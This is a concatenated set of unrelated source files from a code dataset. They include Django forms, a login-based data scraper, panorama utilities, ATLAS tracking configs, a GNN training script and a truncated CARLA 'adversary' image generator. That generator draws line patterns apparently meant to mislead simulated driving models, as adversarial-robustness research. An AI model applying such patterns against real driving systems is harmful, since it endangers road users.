itemID, cfgDict ):\n\t\t\"\"\"\n\t\t读取配置数据\n\t\t\"\"\"\n\t\tItemBase.init( self, itemID, cfgDict )\n\t\tself.skillID = cfgDict[\"skillID\"]\n\t\n\tdef use( self, owner, targetObj ):\n\t\t\"\"\"\n\t\tvirtual method\n\t\t使用接口\n\t\t\"\"\"\n\t\tif self.skillID == 0:\n\t\t\treturn\n\t\t\n\t\tif targetObj.getType() != csdefine.SKILL_TARGET_OBJECT_POSITION:\n\t\t\treturn\n\t\t\n\t\tstatus = owner.useSkillToPosition( self.skillID, targetObj.getObject() )\n\t\tif status != csstatus.SKILL_GO_ON:\n\t\t\treturn\n\t\t\n\t\towner.spellingItem = self\n\t\tself.onUse( owner )\n\t\n\tdef onSkillCastOver( self, owner, skillID ):\n\t\t\"\"\"\n\t\t技能释放完毕\n\t\t\"\"\"\n\t\tif skillID != self.skillID:\t#加个验证,因为以后可能允许同时放多个技能\n\t\t\treturn\n\t\towner.spellingItem = None\n\t\t\n\t\tif self.removeMomentType == csdefine.ITEM_REM_MOMENT_SKILL_OVER:\n\t\t\towner.removeItemByOrder( self.order, 1, csdefine.DELETE_ITEM_USE )\n\t\n\tdef onSkillInterrupted( self, owner, skillID ):\n\t\t\"\"\"\n\t\t技能被打断\n\t\t\"\"\"\n\t\tif skillID != self.skillID:\t#加���验证,因为以后可能允许同时放多个技能\n\t\t\treturn\n\t\towner.spellingItem = None","repo_name":"mudsave/ue4demo","sub_path":"Server/assets/scripts/cell/Item/ItemSpellPosition.py","file_name":"ItemSpellPosition.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39600906534","text":"\"\"\"\nОсновной файл, запускающий программу\n\"\"\"\nimport sys\nimport os\nimport logging\nimport argparse\n\n# собственные модули\nsys.path.append(\"./modulesL5Final/\") # добавлена папка с подключаемыми модулями\nfrom directory200.modulesL5Final.choiceMenu import MenuChoice\nimport directory200.modulesL5Final.consoleMenu as mn\n\n# задание режима DEBUG или REALES\npars_arg = argparse.ArgumentParser(description = \"\")\npars_arg.add_argument('-order',\n\t\t\t\t\t action = 'store',\n\t\t\t\t\t type = str,\n\t\t\t\t\t required = False,\n\t\t\t\t\t help = \"Enter DEBUG if you want DEBUG order\")\nargum = pars_arg.parse_args(sys.argv[1:])\narg_d = 0 if argum.order == 'DEBUG' else 1\n\n# Инициализация log-файла\nFORMAT = \"%(asctime)s --> %(name)s -> %(levelname)s -> %(message)s\"\ntype_level = [logging.INFO, logging.DEBUG]\nlogging.basicConfig(filename = \"./application.log\",\n\t\t\t\t\tfilemode = \"at\",\n\t\t\t\t\tformat = FORMAT,\n\t\t\t\t\tlevel = type_level[arg_d])\nmy_log_point = logging.getLogger(\"point_in_lib\")\n\n# создание папки db\nif not os.path.isdir('./db'):\n\tos.mkdir('./db')\n\n\ndef main_progr ():\n\t\"\"\"Обработка основного меню\"\"\"\n\tmy_log_point.info(\"App start\")\n\n\twhile True:\n\t\tfirst = mn.main_menu()\n\t\tif first == 4:\n\t\t\tmy_log_point.info(\"App end\")\n\t\t\tprint(\"Досвидания\")\n\t\t\tbreak\n\t\tmenu = MenuChoice()\n\t\tdict_menu = {1: menu.create_lib,\n\t\t\t\t\t 2: menu.delete_lib,\n\t\t\t\t\t 3: menu.view_lib,\n\t\t\t\t\t }\n\t\tdict_menu[first]()\n\n\nif __name__ == \"__main__\":\n\ttry:\n\t\tmain_progr()\n\texcept Exception as exc:\n\t\tif arg_d:\n\t\t\tmy_log_point.info(exc)\n\t\telse:\n\t\t\tmy_log_point.debug(exc)","repo_name":"CSCATT/OOPy200_FINALEXM","sub_path":"directory200/final200/starterFinalTask.py","file_name":"starterFinalTask.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32725508570","text":"from django import forms\nfrom .models import Problem\nfrom django.contrib.auth.models import User\n\n\nclass ProblemForm(forms.ModelForm):\n class Meta:\n model = Problem\n fields = ['name', 'phone', 'email', 'description', 'priority']\n\n\nclass ProblemUpdateForm(forms.ModelForm):\n new_assigned_user = forms.ModelChoiceField(queryset=User.objects.all(), required=False)\n\n class Meta:\n model = Problem\n fields = ['actions', 'status', 'assigned_user', 'resolved_user']\n\n def clean(self):\n cleaned_data = super().clean()\n status = cleaned_data.get(\"status\")\n assigned_user = cleaned_data.get(\"assigned_user\")\n resolved_user = cleaned_data.get(\"resolved_user\")\n\n if status == 'resolved' and not resolved_user:\n self.add_error('resolved_user', 'You must choose Resolved user if you change status to resolved.')\n if status != 'resolved' and not assigned_user:\n self.add_error('assigned_user', 'You cannot leave Assigned user empty if you have not resolved the problem yet.')\n\n\n","repo_name":"TimurShagiev/timurep","sub_path":"prob_list/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30486070119","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 20 13:26:56 2017\n\n@author: kc\n\"\"\"\nimport tensorflow as tf\nx=tf.constant(1,name='x')\ny=tf.Variable(x+9,name='y')\nmodel=tf.initialize_all_variables()\n\nwith tf.Session() as sess:\n sess.run(model)\n print(sess.run(y))","repo_name":"funice210/influanza","sub_path":"import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33465393128","text":"# -------------------------------------------------------------------------\n# Author: Angel Acevedo Sanchez. All rights reserved.\n#\n# Licensed under the GPL-v3.0 License. See LICENSE in the project root for\n# license information.\n# -------------------------------------------------------------------------\n\nimport requests\nimport pandas as pd\n\nURL = \"http://www.saihguadiana.com:8090\"\n\n\ndef send_request(request, URL, data, cookies):\n\n if request == \"GET\":\n ret = requests.get(URL, data=data, cookies=cookies)\n\n elif request == \"POST\":\n ret = requests.post(URL, data=data, cookies=cookies)\n\n else:\n print(\"Request must be POST or GET\")\n\n return ret\n\n\nif __name__ == \"__main__\":\n\n session = requests.Session()\n\n payload = {\n\n \"user\": \"xxxxx\",\n \"password\": \"xxxxx\"\n }\n\n request = send_request(\"GET\", URL+\"/sdim_sg/logon.do\", data=\"\", cookies=\"\")\n session_cookie = request.cookies.get_dict()\n request = send_request(\"POST\", URL+\"/sdim_sg/logon.do\",\n data=payload, cookies=session_cookie)\n\n if request.status_code == 200:\n\n send_request(\"GET\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 0,\n \"add\": \"\",\n \"remove\": \"\",\n \"temp_level\": \"D\", # MIN, D,...\n \"dynamic_filter\": 1,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 140,\n \"add\": \"\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 140,\n \"add\": \"FILTRO_PROVINCIA\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"parameter(FILTRO_PROVINCIA_LIST)\": [\"06\", \"10\"],\n \"x\": 8,\n \"y\": 5,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 140,\n \"add\": \"FILTRO_ESTACION\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"parameter(FILTRO_ESTACION_LIST)\": [\"E2-01\", \"E2-03\", \"E2-04\", \"E2-06\", \"E2-07\"],\n \"x\": 12,\n \"y\": 10,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 362,\n \"add\": \"FILTRO_TIPO_VARIABLE\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"parameter(FILTRO_TIPO_VARIABLE_LIST)\": \"0020\",\n \"x\": 8,\n \"y\": 8,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 362,\n \"add\": \"FILTRO_VARIABLE_LIST\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"parameter(FILTRO_VARIABLE__USER_LIST)\": [\"E2-01/VE1\", \"E2-03/VE1\", \"E2-04/VE1\", \"E2-06/VE1\", \"E2-07/VE1\"],\n \"x\": 13,\n \"y\": 7,\n \"format\": \"T\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/editSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"scrolly\": 362,\n \"add\": \"\",\n \"remove\": \"\",\n \"temp_level\": \"D\",\n \"dynamic_filter\": 2,\n \"format\": \"T\",\n \"edit\": \"Aceptar\"\n }\n\n send_request(\"POST\", URL+\"/sdim_sg/preExecuteSubscription.do\",\n data=payload, cookies=session_cookie)\n\n payload = {\n \"dates_set\": \"S\",\n \"data_ini\": \"31/10/2021\",\n \"data_fi\": \"28/12/2021\"\n } # Para el filtro diario\n\n # payload = {\n # \"dates_set\": \"S\",\n # \"data_ini\": \"31/10/2021\",\n # \"hora_ini\": \"00\",\n # \"min_ini\": \"00\",\n # \"data_fi\": \"1/11/2021\",\n # \"hora_fi\": \"23\",\n # \"min_fi\": \"59\"\n\n # } #para el filtro minutal\n\n text = send_request(\"POST\", URL+\"/sdim_sg/executeSubscription.do\",\n data=payload, cookies=session_cookie).text\n table = pd.read_html(text, decimal=',', thousands='.')\n\n print(table[2])\n \n else:\n print(\"Login error\")\n","repo_name":"angel-acevedo-sanchez/SAIH-Guadiana","sub_path":"get_saih_data.py","file_name":"get_saih_data.py","file_ext":"py","file_size_in_byte":4848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7820533614","text":"from django.shortcuts import render\nimport requests\n\ndef index(request):\n url = 'https://imnews.imbc.com/js/coviddata.json'\n response = requests.get(url)\n covid = response.json()\n covid_list = list(covid.values())\n\n return render(request, 'infoweb/index.html', {'covid_list': covid_list})","repo_name":"teamkosy/infoweb","sub_path":"infoweb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31654668048","text":"import numpy as np\nimport CoordsTransform\nimport Projection\ndef rotatePanorama( img, vp, R ):\n #ROTATEPANORAMA Rotate panorama\n # if R is given, vp (vanishing point) will be overlooked\n # otherwise R is computed from vp\n\n [sphereH, sphereW, C] = img.shape;\n # rotImg = zeros( sphereH, sphereW, C);\n\n ## new uv coordinates\n [TX, TY] = np.meshgrid(np.arange(sphereW), np.arange(sphereH));\n TX = TX.T.flatten() + 1;\n TY = TY.T.flatten() + 1;\n ANGx = (TX- sphereW/2 -0.5)/sphereW * np.pi *2 ;\n ANGy = -(TY- sphereH/2 -0.5)/sphereH * np.pi;\n uvNew = np.column_stack((ANGx, ANGy))\n xyzNew = CoordsTransform.uv2xyzN(uvNew,0);\n\n ## rotation matrix\n if R == None:\n R = np.dot(np.diag([1,1, 1]), np.linalg.pinv(vp.T));\n \n\n xyzOld = np.dot(np.linalg.pinv(R) , xyzNew.T).T;\n uvOld = CoordsTransform.xyz2uvN(xyzOld, 0).T;\n\n # Px = uvOld(:,1)/2/pi*sphereW + 0.5 + sphereW/2;\n # Py = -uvOld(:,2)/pi*sphereH + 0.5 + sphereH/2;\n Px = (uvOld[:,0]+np.pi) / (2*np.pi) * sphereW + 0.5;\n Py = (-uvOld[:,1] + np.pi/2) / np.pi * sphereH + 0.5;\n\n Px = np.reshape(Px, [sphereW, sphereH]).T;\n Py = np.reshape(Py, [sphereW, sphereH]).T;\n\n # boundary\n imgNew = np.double(np.zeros([sphereH+2, sphereW+2, C]));\n imgNew[1:-1, 1:-1, :] = img;\n imgNew[1:-1,0,:] = img[:,-1,:];\n imgNew[1:-1,-1,:] = img[:,0,:];\n\n halfW = np.int(sphereW/2)\n\n imgNew[0,1:halfW + 1,:] = img[0,sphereW:halfW -1:-1,:];\n imgNew[0,halfW+1:-1,:] = img[0,halfW-1::-1,:];\n imgNew[-1,1:halfW+1,:] = img[-1,sphereW:halfW-1 :-1,:];\n imgNew[-1,halfW+1:-1,:] = img[0,halfW:0:-1,:];\n imgNew[0,0,:] = img[0,0,:];\n imgNew[-1,-1,:] = img[-1,-1,:];\n imgNew[0,-1,:] = img[0,-1,:];\n imgNew[-1,0,:] = img[-1,0,:];\n\n rotImg = Projection.warpImageFast(imgNew, Px+1, Py+1);\n # rotImg = warpImageFast(img, Px, Py);\n\n return rotImg, R \n\n\ndef rotatePoint( p, R ):\n #ROTATEPOINT Rotate points\n # p is point in 3D, R is rotation matrix\n op = np.dot(R , p.T).T;\n return op \n\n\n\ndef rotateLines( lines, R ):\n #ROTATELINES Rotate lines on panorama\n # lines: parameterized lines, R: rotation matrix\n\n [numLine, dimLine] = lines.shape;\n lines_N = np.zeros([numLine, dimLine]);\n for i in np.arange(numLine):\n n = lines[i,0:3];\n sid = lines[i,4]*2*np.pi-np.pi;\n eid = lines[i,5]*2*np.pi-np.pi;\n u = np.row_stack((sid,eid));\n v = CoordsTransform.computeUVN(n, u, lines[i,3]);\n xyz = CoordsTransform.uv2xyzN(np.column_stack((u, v)), lines[i,3]);\n\n n_N = np.dot(R,n.T).T; \n n_N = n_N/np.linalg.norm(n_N,2);\n xyz_N = np.dot(R,xyz.T).T;\n lines_N[i,3] = np.argmax(np.abs(n_N[[2, 0, 1]]));\n uv_N = CoordsTransform.xyz2uvN(xyz_N, lines_N[i,3]).T;\n umax = max(uv_N[:,0])+np.pi;\n umin = min(uv_N[:,0])+np.pi;\n if umax-umin>np.pi:\n lines_N[i,4:6] = np.array([umax ,umin])/2/np.pi;\n else:\n lines_N[i,4:6] = np.array([umin ,umax])/2/np.pi;\n \n \n lines_N[i,0:3] = n_N; \n # lines_N(i,5:6) = (uv_N(:,1)'+pi)/2/pi;\n if dimLine>=7:\n lines_N[i,6] = np.arccos(np.sum(xyz_N[0,:] * xyz_N[1,:])/(np.linalg.norm(xyz_N[0,:],2)*np.linalg.norm(xyz_N[1,:],2)));\n # lines_N(i,7) = lines(i,7); # this should be ok as well\n \n if dimLine>=8:\n lines_N[i,7] = lines[i,7];\n \n \n \n\n return lines_N\n\n\n\n\n","repo_name":"23michael45/PanoContextTensorflow","sub_path":"PanoContextTensorflow/Rotation.py","file_name":"Rotation.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70207486916","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors \n\ndef f(x):\n return 2. * np.cosh(x / 4) - x\n\ndef secant(x_0, x_1, atol, f):\n x_old = x_0\n x = x_1\n k = 1\n dif = 2. * atol\n x_values = [x]\n \n while dif >= atol:\n x_new = x - f(x) * (x - x_old) / (f(x) - f(x_old))\n dif = np.abs(x_new - x)\n x_old, x = x, x_new\n x_values.append(x)\n print(f'Iter: {k}, x = {x}')\n k += 1\n \n return x_values\n \nroot_1 = secant(0, 1, 1e-8, f)\nroot_2 = secant(10, 11, 1e-8, f)\n\nprint(root_1)\nprint(root_2) ","repo_name":"felca25/MNT","sub_path":"Main/root_finding/secante.py","file_name":"secante.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71096793793","text":"from AthenaConfiguration.ComponentFactory import CompFactory\nfrom AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\nimport AthenaCommon.SystemOfUnits as Units\n\ndef TRT_TrackSegmentsFinderCfg(flags, name = 'InDetTRT_TrackSegmentsFinder',\n InputCollections = None,\n **kwargs):\n\n from MagFieldServices.MagFieldServicesConfig import (\n AtlasFieldCacheCondAlgCfg)\n acc = AtlasFieldCacheCondAlgCfg(flags)\n\n if \"SegmentsMakerTool\" not in kwargs:\n from InDetConfig.TRT_TrackSegmentsToolConfig import (\n TRT_TrackSegmentsMaker_ATLxkCfg)\n InDetTRT_TrackSegmentsMaker = acc.popToolsAndMerge(\n TRT_TrackSegmentsMaker_ATLxkCfg(flags,\n InputCollections = InputCollections))\n kwargs.setdefault(\"SegmentsMakerTool\", InDetTRT_TrackSegmentsMaker)\n\n if \"RoadTool\" not in kwargs:\n from InDetConfig.TRT_DetElementsRoadToolConfig import (\n TRT_DetElementsRoadMaker_xkCfg)\n kwargs.setdefault(\"RoadTool\", acc.popToolsAndMerge(\n TRT_DetElementsRoadMaker_xkCfg(flags)))\n\n if flags.Tracking.ActiveConfig.RoISeededBackTracking:\n from InDetConfig.InDetCaloClusterROISelectorConfig import (\n CaloClusterROIPhiRZContainerMakerCfg)\n acc.merge(CaloClusterROIPhiRZContainerMakerCfg(flags))\n kwargs.setdefault(\"useCaloSeeds\", True)\n kwargs.setdefault(\"EMROIPhiRZContainer\", (\n \"InDetCaloClusterROIPhiRZ%.0fGeVUnordered\" %\n (flags.Tracking.ActiveConfig.minRoIClusterEt/Units.GeV)))\n\n kwargs.setdefault(\"SegmentsLocation\", \"TRTSegments\")\n\n acc.addEventAlgo(CompFactory.InDet.TRT_TrackSegmentsFinder(name, **kwargs))\n return acc\n\ndef TRT_TrackSegmentsFinder_Cosmics_Cfg(flags, name = 'InDetTRT_TrackSegmentsFinder_Cosmics', **kwargs):\n acc = ComponentAccumulator()\n\n if \"SegmentsMakerTool\" not in kwargs:\n from InDetConfig.TRT_TrackSegmentsToolConfig import (\n TRT_TrackSegmentsMaker_BarrelCosmicsCfg)\n kwargs.setdefault(\"SegmentsMakerTool\", acc.popToolsAndMerge(\n TRT_TrackSegmentsMaker_BarrelCosmicsCfg(flags)))\n\n acc.merge(TRT_TrackSegmentsFinderCfg(flags, name, **kwargs))\n return acc\n\ndef TRT_TrackSegmentsFinder_Phase_Cfg(flags, name = 'InDetTRT_TrackSegmentsFinder_Phase', **kwargs):\n acc = ComponentAccumulator()\n\n if \"SegmentsMakerTool\" not in kwargs:\n from InDetConfig.TRT_TrackSegmentsToolConfig import (\n TRT_TrackSegmentsMaker_ATLxk_Phase_Cfg)\n kwargs.setdefault(\"SegmentsMakerTool\", acc.popToolsAndMerge(\n TRT_TrackSegmentsMaker_ATLxk_Phase_Cfg(flags)))\n\n kwargs.setdefault(\"SegmentsLocation\", \"TRTSegments_Phase\")\n\n acc.merge(TRT_TrackSegmentsFinderCfg(flags, name, **kwargs))\n return acc\n\ndef TRT_TrackSegmentsFinder_TrackSegments_Cfg(flags, name = 'InDetTRT_TrackSegmentsFinder_TrackSegments', **kwargs):\n acc = ComponentAccumulator()\n\n if \"SegmentsMakerTool\" not in kwargs:\n from InDetConfig.TRT_TrackSegmentsToolConfig import (\n TRT_TrackSegmentsMaker_ATLxk_TrackSegments_Cfg)\n kwargs.setdefault(\"SegmentsMakerTool\", acc.popToolsAndMerge(\n TRT_TrackSegmentsMaker_ATLxk_TrackSegments_Cfg(flags)))\n\n kwargs.setdefault(\"SegmentsLocation\", \"TRTSegmentsTRT\")\n\n acc.merge(TRT_TrackSegmentsFinderCfg(flags, name, **kwargs))\n return acc\n","repo_name":"Yusuf-Manjra/athena","sub_path":"InnerDetector/InDetConfig/python/TRT_TrackSegmentsFinderConfig.py","file_name":"TRT_TrackSegmentsFinderConfig.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16899663032","text":"from argparse import Namespace, ArgumentParser\nimport logging\n\nfrom lightning import Trainer\nfrom lightning.pytorch.callbacks import ModelCheckpoint, EarlyStopping, LearningRateMonitor\nimport torch\n\nfrom lightning.pytorch.loggers.wandb import WandbLogger\n\nfrom thesis.models.gnn.hgt import Predictor\nfrom thesis.models.gnn.data import get_loaders\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef attach_train_parser(main_subparsers):\n parser: ArgumentParser = main_subparsers.add_parser(name='train', help='Train GNN')\n parser.add_argument('--dataset', required=True)\n parser.add_argument('--batch-size', type=int, default=1)\n parser.add_argument('--train-share', type=float, default=0.8)\n parser.add_argument('--val-share', type=float, default=0.1)\n # parser.add_argument('--in_channels_node', type=int, default=15)\n # parser.add_argument('--edge_dim', type=int, default=15)\n # parser.add_argument('--out_channels_per_head', type=int, default=15)\n parser.add_argument('--num-layers', type=int, required=True)\n parser.add_argument('--num-heads', type=int, required=True)\n parser.add_argument('--num-workers', type=int, default=1)\n parser.add_argument('--hidden-channels', type=int, required=True)\n parser.add_argument('--lr', type=float, required=True)\n parser.add_argument('--accelerator', choices=['auto', 'cpu'], default='auto')\n # parser.add_argument('--run-eval', action=BooleanOptionalAction, default=False)\n parser.add_argument('--max-epochs', type=int, default=1)\n parser.add_argument('--patience', type=int, default=3)\n parser.add_argument(\n '--run-name', default='default-name', help='Name of the training run in WandB.'\n )\n parser.set_defaults(func=run_train)\n\n\ndef run_train(args: Namespace):\n logger.info(f'Started training with args: {args}')\n logger.info('Getting data loaders')\n train, val, test = get_loaders(\n args.dataset,\n threads=args.num_workers,\n # threads=1, # multiple workers seems to slow down teardown??\n batch_size=args.batch_size,\n test_share=(1.0 - args.val_share - args.train_share),\n val_share=args.val_share,\n )\n logger.info('Setting up the model')\n first_sample = train.__iter__().__next__()\n # meta = first_sample.metadata()\n model = Predictor(\n lr=args.lr,\n hidden_channels=args.hidden_channels,\n num_heads=args.num_heads,\n num_layers=args.num_layers,\n data=first_sample,\n )\n\n # initialize lazy parameters\n with torch.no_grad():\n model(first_sample)\n\n logger.info('Setting up the wandb logger')\n experiment_logger = WandbLogger(\n project='thesis',\n name=args.run_name,\n save_dir='wandb',\n log_model=False,\n )\n\n experiment_logger.watch(\n model,\n log_freq=500,\n )\n\n version = experiment_logger.version\n if version is None:\n version = 'no-version'\n\n checkpoint_callback = ModelCheckpoint(\n dirpath=f'checkpoints/{args.run_name}/{version}',\n filename='checkpoint-{epoch:02d}-{val_loss:.4f}',\n monitor='val_loss_epoch',\n mode='min',\n save_top_k=2,\n )\n\n lr_monitor_callback = LearningRateMonitor(\n logging_interval='step',\n log_momentum=False,\n )\n\n early_stopping_callback = EarlyStopping(\n monitor='val_loss_epoch',\n patience=args.patience,\n min_delta=0.0003,\n )\n\n # trainer = Trainer(\n # default_root_dir='lightning_checkpoints',\n # accelerator=args.accelerator,\n # max_epochs=args.max_epochs,\n # logger=experiment_logger,\n # callbacks=[\n # checkpoint_callback,\n # early_stopping_callback,\n # ],\n # )\n trainer = Trainer(\n default_root_dir='lightning_checkpoints',\n accelerator=args.accelerator,\n max_epochs=args.max_epochs,\n logger=experiment_logger,\n callbacks=[\n checkpoint_callback,\n early_stopping_callback,\n lr_monitor_callback,\n ],\n )\n logger.info('Training')\n\n trainer.fit(model=model, train_dataloaders=train, val_dataloaders=val)\n # trainer.fit(model=model, train_dataloaders=train)\n logger.info('All done')\n","repo_name":"leevironty/thesis","sub_path":"src/thesis/scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28222564296","text":"import os\nfrom PIL import Image\nimport numpy as np\n\n\nspacing = 50\n\ndef pasteLetter( opArray,blnk, letter, letterType):\n global spacing,xoffset\n top=0;\n bottom=0;\n if letterType==1:\n top = opArray[0]*spacing;\n bottom = opArray[2]*spacing;\n elif letterType==2:\n top = opArray[1]*spacing;\n bottom = opArray[2]*spacing;\n elif letterType==3:\n top = opArray[1]*spacing;\n bottom = opArray[3]*spacing;\n elif letterType==4:\n top = opArray[0]*spacing;\n bottom = opArray[3]*spacing;\n\n\n ht = bottom - top;\n xdim,ydim = letter.size\n letter = letter.resize((int((xdim/ydim)*ht),ht))\n xdim,ydim = letter.size\n for i in range(xdim):\n for j in range(ydim):\n pixel = letter.getpixel((i,j))\n if(pixel[0]<150):\n blnk.putpixel((i+xoffset,j+top),pixel)\n xoffset+=xdim\n\n\n\nlst = os.listdir(\"/root/Documents/testing\")\n\nblnk = Image.open(\"/root/Documents/testing/Blank.jpg\")\n\nblnk=blnk.resize((2000,2828))\n# lines = []\n# for i in range(2828):\n # if(i%spacing==0):\n # lines.append(i)\ndic={}\n\nls= os.listdir(\"/root/TypeNwrite/profiles/Priyansha_ki_writing/\")\nfor item in ls:\n img = Image.open(\"/root/TypeNwrite/profiles/Priyansha_ki_writing/\"+item)\n item.replace(\".jpg\",\"\")\n item.replace(\".png\",\"\")\n dic[item[0]]=(img,item[1])\n \ns = \"\"\"Hello my name is Lakhan\nMera naam hai lakhan\nI dont like injection\nfuck this shit\"\"\"\n\nopArray = [0,1,2,3]\n\nxoffset = 10\n\nfor ch in s:\n if(ch==' '):\n xoffset+=50\n elif(ch=='\\n'):\n xoffset=10\n opArray= [item + 5 for item in opArray]\n else:\n pasteLetter(opArray,blnk,dic[ch][0],int(dic[ch][1]))\n\nblnk.save(\"test_sample.jpg\")\nblnk.show();\n","repo_name":"AnuragS13/TypeNwrite","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38423633408","text":"import numpy as np\nimport math\nimport cv2\nimport os\nimport imutils\nimport inspect\nimport random\nfrom math import sin, cos, radians\nimport time\n\n\ndef random_n_offsets(random_seed, range_chose, num):\n l = range_chose[1] - range_chose[0]\n try:\n \trandom.seed(random_seed)\n \toffsets = random.sample(range(range_chose[0], range_chose[1]), num)\n except:\n \trandom.seed(random_seed)\n \toffsets = random.sample(range(range_chose[0], range_chose[1]),l-2)\n \n return offsets\n\nclass Shape:\n \"\"\"\n Library containing different shapes, along with the ability\n to create .png images with the shapes.\n \"\"\"\n\n def __init__(self, city_name, adversary_name=\"adversary_\" ,transparency=True):\n \"\"\"\n sizeX and sizeY pertain to the size of the adversary\n on CARLA.\n \"\"\"\n self.city_name = city_name\n self.sizeX = 400\n #self.sizeX = sizeX;\n self.sizeY = 400\n self.adversary_name = adversary_name\n\n if transparency:\n self.channels = 4\n else:\n self.channels = 3\n\n self.clear_canvas()\n self.path = 'adversary/'\n \n self.image_label = self.adversary_name + self.city_name + '.png'\n \n self.episodeNum = 0\n self.data_dir = None \n\n def clear_canvas(self):\n self.layer1= np.zeros((self.sizeX, self.sizeY, self.channels), dtype=np.uint8)\n self.layer2= np.zeros((self.sizeX, self.sizeY, self.channels), dtype=np.uint8)\n \n def episode_counter(self):\n self.episodeNum += 1\n \n def draw_lines(self, paras_dict):\n \tself.clear_canvas()\n \tpts_list = []\n \tcolor_list = []\n \tfor key in paras_dict:\n \t\tp_dict = paras_dict[key]\n \t\tpts, color = self.line_rotate(p_dict)\n \t\tpts_list.append(pts)\n \t\tcolor_list.append(color)\n \tfor i in range(len(pts_list)):\n \t\tpts = pts_list[i]\n \t\tcolor = color_list[i]\n \t\tcv2.fillPoly(self.layer1,[pts],color)\n \t\n \tself.canvas=self.layer1[:]\n \tcv2.imwrite(\"{}{}\".format(self.path, self.image_label), self.canvas)\n \n \n def line_rotate(self, p_dict,pos = 88):\n \"\"\" rot and posX are variables \"\"\"\n \n # parameters\n rot = p_dict[\"rot\"]\n posY = p_dict[\"pos\"]\n width = p_dict[\"width\"]\n length = p_dict[\"length\"]\n r = p_dict[\"r\"]\n g = p_dict[\"g\"]\n b = p_dict[\"b\"]\n posY = posY + 10\n width = 5 + width\n length = 5 + length\n\n color=(r,g,b,255)\n \n rot_pos_ori = (posY+width/2,self.sizeX/2)\n \n rt_top_left_ori=(posY,length)\n rt_top_right_ori=(posY+width,length)\n rt_bottom_left_ori=(posY,self.sizeX-length)\n rt_bottom_right_ori=(posY+width,self.sizeX-length)\n \n rt_top_left_rotated_ori = np.array(rotate(rt_top_left_ori, rot, rot_pos_ori))\n rt_top_right_rotated_ori = np.array(rotate(rt_top_right_ori, rot, rot_pos_ori))\n rt_bottom_left_rotated_ori = np.array(rotate(rt_bottom_left_ori, rot, rot_pos_ori))\n rt_bottom_right_rotated_ori = np.array(rotate(rt_bottom_right_ori, rot, rot_pos_ori))\n \n pts = np.array([rt_top_left_rotated_ori,rt_bottom_left_rotated_ori,rt_bottom_right_rotated_ori,rt_top_right_rotated_ori])\n pts = pts.reshape((-1,1,2))\n \n return pts, color\n \n\ndef rotate(point,angle,center_point):\n\tangle_rad = radians(angle % 360)\n\tnew_point = (point[0]-center_point[0], point[1]-center_point[1])\n\tnew_point = (new_point[0]*cos(angle_rad)-new_point[1]*sin(angle_rad), new_point[0]*sin(angle_rad)+new_point[1]*cos(angle_rad))\n\tnew_point = (int(new_point[0]+center_point[0]), int(new_point[1]+center_point[1]))\n\treturn new_point\n\ndef write_16_points(points, fileName):\n\t#points = np.array(points)\n\t#points = points[points[:,1].argsort()]\n\twith open(fileName, \"w\") as f:\n\t\tfor i in range(len(points)):\n\t\t\tpoint = points[i]\n\t\t\tf.write(str(point[0])+\",\"+str(point[1])+\"\\n\")\n\ndef load_points(fileName):\n\tpoints = []\n\twith open(fileName, \"r\") as f:\n\t\tlines = 